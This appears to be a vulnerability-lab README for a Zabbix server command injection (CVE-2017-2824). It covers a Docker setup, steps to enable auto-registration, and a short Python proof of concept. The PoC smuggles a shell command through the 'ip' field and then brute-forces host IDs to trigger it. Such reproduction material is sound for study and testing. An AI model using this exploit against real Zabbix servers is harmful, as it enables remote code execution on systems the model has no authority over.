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+# Zabbix Server Active Proxy Trapper Command Injection (CVE-2017-2824)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Zabbix is a server monitoring software that consists of server, agent, and web modules. The web module is written in PHP and is used to display results from the database.
+
+In the Zabbix version 2.0.x prior to 2.0.21, 2.2.x prior to 2.2.18, 2.4.x, 3.0.x prior to 3.0.9, or 3.2.x prior to 3.2.5, there is a code execution vulnerability in Zabbix's server-side trapper command functionality, where specific packets can cause command injection, leading to remote code execution. An attacker can trigger this vulnerability by initiating a request from a Zabbix proxy.
+
+Reference:
+
+- https://talosintelligence.com/reports/TALOS-2017-0325
+- https://support.zabbix.com/browse/ZBX-12075
+
+## Environment Setup
+
+Execute the following command to start a complete Zabbix 3.0.3 environment, including the Web interface, Server, 1 Agent, and MySQL database:
+
+```
+docker compose up -d
+```
+
+After executing the command, run `docker compose ps` to check if all containers have started successfully. If not, try running `docker compose up -d` again.
+
+To exploit this vulnerability, you need to enable the auto-registration feature on the server side. First, log in to the backend as an administrator using the credentials `admin/zabbix`. Go to Configuration->Actions, change the Event source to Auto registration, then click Create action and create an Action with any name:
+
+![](1.png)
+
+In the third tab, create an Operation with type "Add Host":
+
+![](2.png)
+
+Save the settings. This enables the auto-registration feature, allowing attackers to register their servers as Agents.
+
+## Vulnerability Reproduction
+
+Use this simple POC to reproduce the vulnerability:
+
+```python
+import sys
+import socket
+import json
+import sys
+
+
+def send(ip, data):
+    conn = socket.create_connection((ip, 10051), 10)
+    conn.send(json.dumps(data).encode())
+    data = conn.recv(2048)
+    conn.close()
+    return data
+
+
+target = sys.argv[1]
+print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
+for i in range(10000, 10500):
+    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
+    if data and b'failed' not in data:
+        print('hostid: %d' % i)
+        print(data)
+```
+
+This POC is relatively basic and may need to be executed multiple times. When you see the following result, it indicates successful command execution:
+
+![](3.png)
+
+Enter the server container, and you can see that `/tmp/success` has been successfully created:
+
+![](4.png)
+
+Interested users can improve this POC and submit a Pull Request.